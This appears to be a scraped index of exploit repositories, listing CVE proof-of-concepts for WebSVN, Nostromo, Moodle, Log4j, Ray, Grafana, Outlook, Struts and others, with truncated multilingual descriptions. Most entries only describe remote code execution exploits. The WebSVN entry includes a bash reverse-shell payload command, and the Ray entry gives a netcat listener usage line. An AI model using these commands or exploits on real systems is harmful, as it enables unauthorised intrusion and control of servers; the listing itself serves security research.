EvilSunCheck

مدقق ثغرة EvilSun CVE-2020-14871 هذا نص برمجي صغير بلغة بايثون للكشف عن ثغرة "EvilSun" CVE-2020-14871 على أنظمة Solaris. الثغرة هي تجاوز سعة مخزنية في وحدة المصادقة القابلة للتوصيل PAM pamunixauth عند التعامل مع المصادقة التفاعلية عبر لوحة المفاتيح في SSH. قد يؤدي استغلال ناجح إلى تنفيذ تعليمات...

CVE-2020-11108-PoC

CVE-2020-11108-PoC Deux PoC se trouvent dans ce dépôt. cve-2020-11108-rce.py vous donnera un shell en tant qu'utilisateur www-data. root-cve-2020-11108-rce.py vous donnera un shell et escaladera les privilèges vers root. Remarque : ceci est destructif car nous devons écraser teleporter.php. Pour...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

Ce depot n’a pas de fichier README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 これは、CVE-2021-3205のエクスプロイトです。search.phpパスにおけるコマンドインジェクションのWeb脆弱性であり、このエクスプロイトによりコマンドを実行できます。 必要条件 optparse, signal, requests 使用方法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ n...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Это эксплойт для CVE-2019-16278 уязвимости Nostromo 1.9.6 RCE. Данный эксплойт позволяет выполнить удаленный код на целевой машине. Требования optparse socat sys Использование Вы можете использовать эксплойт следующим образом: root@kitploit: python3...

CVE-2021-31630

OpenPLC WebServer v3 - RCE authentifié CVE-2021-31630 Cet exploit est basé sur l'exploit de Exploit-DB créé par Fellipe Oliveira. Tout d'abord, s'authentifier Télécharger un fichier C malveillant Le compiler Démarrer le PLC lancer le reverse shell Arrêter le PLC inutile de le faire tourner, le...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle authentifié en tant qu'enseignant, exécution de code à distance...

Log4j-_Vulnerability

الويب عرضة لـ CVE-2021-44228 هذا التطبيق الويب عرضة لـ CVE-2021-44228، وهي ثغرة أمنية حرجة في Apache Log4j 2 تُعرف باسم Log4Shell. تسمح هذه الثغرة لمهاجم غير موثّق بتنفيذ كود ضار عن بُعد بمجرد إرسال إدخال معين يتم تسجيله بواسطة نظام السجلات، مما قد يؤدي إلى السيطرة الكاملة على الخادم...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 برهان المفهوم PoC استغلال مبني على بايثون لـ CVE-2022-21661، وهو ثغرة خطيرة في ووردبريس تسمح للمهاجم غير المصرح له بتنفيذ هجوم حقن الكائنات ، والذي في ظروف معينة يمكن أن يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. هذا التنفيذ مستوحى من PoC المبني على Go لـ z92g، وتم إنشاؤه...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Vulnérabilité d'exécution de code à distance dans Microsoft Outlook - Preuve de concept 📜 Description Ce script présente une preuve de concept PoC pour CVE-2024-21413, une vulnérabilité de sécurité significative découverte dans Microsoft Outlook avec un score CVSS de 9,8. Qualifi...

CVE-2018-4121

CVE-2018-4121 - Exploit POC RCE des sections Wasm de Safari par MWR Labs c 2018 Détails cet exploit de preuve de concept ne cible que les versions Safari 11.0.3 13604.5.6 sur macOS 10.13.3 17D47 compiler le payload de votre choix en tant que dylib avec un constructeur exécuter python...

GPON

RCE sur les routeurs domestiques GPON CVE-2018-10561 Vulnérabilité De nombreux routeurs utilisent aujourd'hui Internet par GPON, et un moyen de contourner toute authentification sur les appareils CVE-2018-10561 a été trouvé par VPNMentor. Grâce à ce contournement d'authentification, il est...

CVE-2022-21907-RCE

CVE-2022-21907-RCE CVE-2022-21907 vulnérabilité RCE PoC Instructions d'utilisation: go run ./CVE-2022-21907.go -h...

CVE-2024-9264-Fixed

🛠️ CVE-2024-9264 - Exploit RCE Grafana corrigé Ceci est une version corrigée de la preuve de concept de l'exploit pour CVE-2024-9264 , une vulnérabilité critique d'exécution de code à distance dans Grafana via les expressions SQL et DuckDB. 🔗 Avis original : Publication de sécurité de Grafana ❌ Po...

CVE-2016-10033

WordPress 4.6 - Exécution de code à distance RCE Exploit PoC CVE-2016-10033 C'est une version modifiée de l'exploit de Dawid Golunski 41962...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs эксплойт удалённого выполнения кода RCE CVE-2020-27955 версия .bat / powershell Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git,...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 Exploit toolkit CVE-2017-0199 - v2.0 est un script Python pratique qui fournit un moyen rapide et efficace d'exploiter la RCE Microsoft RTF. Il peut générer un fichier RTF malveillant et délivrer une charge utile metasploit / meterpreter à la victime sans aucu...

CVE-2012-1723

هجوم تصفح عبر المتصفح يستغل CVE-2012-1723 لتنفيذ تعليمات برمجية عن بعد. يمكن العثور على شرح تفصيلي وتقني على https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/...

Strutter

Strutter Доказательство концепции для CVE-2018-11776, которое включает возможность поиска целей через Shodan API. CVE-2018-11776 Apache Struts версий 2.3–2.3.34 и 2.5–2.5.16 подвержены возможному удаленному выполнению кода Remote Code Execution при использовании результатов без namespace и при эт...